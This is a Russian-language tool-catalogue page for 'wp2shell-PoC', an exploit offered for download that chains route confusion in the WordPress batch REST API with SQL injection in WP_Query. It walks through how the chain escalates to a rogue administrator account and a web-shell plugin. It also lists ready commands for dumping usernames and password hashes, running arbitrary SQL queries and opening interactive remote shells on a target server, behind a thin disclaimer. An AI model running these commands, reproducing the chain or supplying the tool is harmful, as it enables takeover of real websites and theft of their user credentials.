Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wp2shell-PoC — CVE-2026-63030 и CVE-2026-60137 — proof-of-concept цепочки RCE | Kitploit
Инструменты/GitHubGitHub/arvindear/wp2shell-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubarvindear/wp2shell-poc

wp2shell-PoC

CVE-2026-63030 и CVE-2026-60137 — proof-of-concept цепочки RCE

7729111 ч 24 мин назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

wp2shell-PoC

⚠ Этот инструмент создан исключительно в образовательных целях или для программ bug bounty. Несанкционированное использование вне контролируемых сред строго запрещено.

Обзор

Доказательство концепции для цепочки уязвимостей wp2shell, затрагивающей ядро WordPress, объединяющей CVE-2026-63030 и CVE-2026-60137. Проект демонстрирует взаимодействие между уязвимостью путаницы маршрутов в REST API Batch и SQL-инъекцией в WP_Query, что приводит к неаутентифицированному пути к полной компрометации WordPress и удалённому выполнению кода (RCE).

Полный отчёт читайте здесь

Как это работает

wp2shell — это цепочка RCE до аутентификации в ядре WordPress, объединяющая CVE-2026-63030 (путаница маршрутов в batch-эндпоинте REST) и CVE-2026-60137 (SQL-инъекция в WP_Query).

Путаница маршрутов: /wp-json/batch/v1 обрабатывает несколько подзапросов через параллельные массивы $matches и $validation, индексируемые по позиции. Подзапрос с некорректным путём (например, http://:) добавляется в , но не в из-за оператора , что приводит к рассинхронизации массивов. Последующие запросы обрабатываются обработчиком, предназначенным для запроса, обходя проверку схемы и проверки прав.

$validation
$matches
continue
следующего

SQL-инъекция: Два вложенных batch-вызова эксплуатируют это. Внешний batch обходит белый список методов (обычно блокирующий GET). Внутренний batch передаёт скалярную строку author_exclude в GET /wp/v2/posts — рассинхронизация проводит её мимо валидации, и WP_Query интерполирует несанитизированную строку напрямую в SQL, что даёт слепую инъекцию на основе UNION.

Отравление кэша: SQLi возвращает поддельные объекты WP_Post, которые WordPress кэширует в памяти. Эти фальшивые записи содержат шорткоды [embed], из-за которых WordPress создаёт реальные строки oembed_cache в базе данных из поддельных ссылок.

Эскалация через changeset: Используя SQLi, атакующий подделывает запись customize_changeset в памяти с "user_id": 1 в её JSON. Гаджет обнаружения циклов запускает wp_update_post() без перезаписи post_content, сохраняя полезную нагрузку атакующего. Применение changeset временно принимает личность администратора.

Повторный вход через хук: Сфабрикованная запись со статусом parse и типом request запускает хук parse_request, воспроизводя весь batch-запрос с принятой ролью администратора. На этот раз подзапрос POST /wp/v2/users успешно выполняется, создавая новую учётную запись администратора.

Выполнение кода: Атакующий входит как созданный администратор и загружает вредоносный плагин для выполнения произвольных команд.

Уязвимые версии

ВерсияСтатус
WordPress 6.9.0 – 6.9.4Уязвима
WordPress 7.0.0 – 7.0.1Уязвима
WordPress 6.9.5Исправлена
WordPress 7.0.2+Исправлена

Использование

Для использования этого PoC единственное требование — Python 3.8+.

Запустите его из каталога репозитория для проверки уязвимости:

root@kitploit:~
wp2shell.py http://victim.com

Режим проверки (по умолчанию)

Выполняет одну проверку уязвимости. Отправляет безобидный batch-маркер, который обнаруживает ошибку путаницы маршрутов без выполнения SQLi-полезных нагрузок. Уязвимая цель возвращает HTTP 207 с шаблоном ошибок parse_path_failed, block_cannot_read и rest_batch_not_allowed.

Используйте --confirm-sqli, чтобы также отправить активную полезную нагрузку подтверждения SQLi. Подтверждение сначала пробует отражение UNION, затем переходит к пробам на основе таймингов.

Проверка одной цели (режим по умолчанию)

root@kitploit:~
wp2shell.py http://target.com

Проверка с явным режимом

root@kitploit:~
Check with explicit mode
wp2shell.py http://target.com --check

Проверка с подтверждением SQLi

root@kitploit:~
wp2shell.py http://target.com --check --confirm-sqli

Режим чтения — извлечение данных через SQL-инъекцию

Извлекает данные из базы данных с помощью SQL-инъекции до аутентификации. По умолчанию использует --technique auto, который пробует доступные методы в следующем порядке:

  • union — подделывает фальшивую строку WP_Post через UNION и читает её заголовок обратно из REST-ответа как ||HEX(value)||. Один запрос на значение. Самый быстрый.
  • error — использует EXTRACTVALUE/UPDATEXML для утечки ~15 байт за запрос. Работает, когда цель отражает ошибки MySQL (например, при включённом WP_DEBUG_DISPLAY).
  • blind — булев бинарный поиск, ~8 запросов на символ. Читает заголовок X-WP-Total как сигнал true/false. Работает даже когда данные не отражаются.

Принудительно задайте конкретную технику с помощью --technique union|error|blind. Эти пути чтения только для чтения и не записывают в базу данных.

Отпечаток сервера (запрос по умолчанию)

root@kitploit:~
wp2shell.py http://target.com --read

Дамп логинов и хешей паролей

root@kitploit:~
wp2shell.py http://target.com --read --preset users

Пользовательский SQL-запрос

root@kitploit:~
wp2shell.py http://target.com --read --query "SELECT @@version"

Принудительно blind-техника

root@kitploit:~
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"

Извлечение с помощью error-based техники

root@kitploit:~
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"

Режим shell

Выполняет команды на целевом сервере. Работает в двух режимах:

С учётными данными (входит как существующий администратор и загружает плагин-шелл):

Выполнить конкретную команду

root@kitploit:~
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id

Интерактивный шелл

root@kitploit:~
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):

Выполнить одну команду

root@kitploit:~
wp2shell.py http://target.com --shell --cmd id

Интерактивный шелл

root@kitploit:~
wp2shell.py http://target.com --shell --interactive

Плагин-вебшелл загружается со случайным путём и токеном для каждого запуска. Загруженный вебшелл удаляется автоматически. Когда pre-auth мост создаёт администратора, эта сгенерированная учётная запись автоматически удаляется после завершения сессии шелла.

Список всех флагов:

ФлагОписание
--checkЗапустить проверку уязвимости (режим по умолчанию, если не указан другой режим)
--readИзвлечь данные через SQL-инъекцию
--shellВыполнить команды на сервере
--queryПользовательский SQL-запрос для режима чтения
--presetПредопределённый пресет запроса (users, config, versions)
--techniqueТехника извлечения SQLi: union, error, blind или auto (по умолчанию)
--confirm-sqliОтправить полезную нагрузку подтверждения SQLi после проверки
--cmdКоманда для выполнения в режиме shell (по умолчанию: id)
--interactive, -iИнтерактивный режим shell
--userИмя администратора для аутентифицированного shell
--passwordПароль администратора для аутентифицированного shell
--proxyHTTP/HTTPS прокси (например, http://127.0.0.1:8080)
--timeoutТаймаут запроса в секундах (по умолчанию: 30)
--verbose, -vПодробный вывод

Ссылки:

  1. https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/
  2. https://www.picussecurity.com/resource/blog/cve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained

Отказ от ответственности

Этот инструмент создан исключительно в образовательных целях или для программ bug bounty. Несанкционированное использование вне контролируемых сред строго запрещено.

Скачать инструмент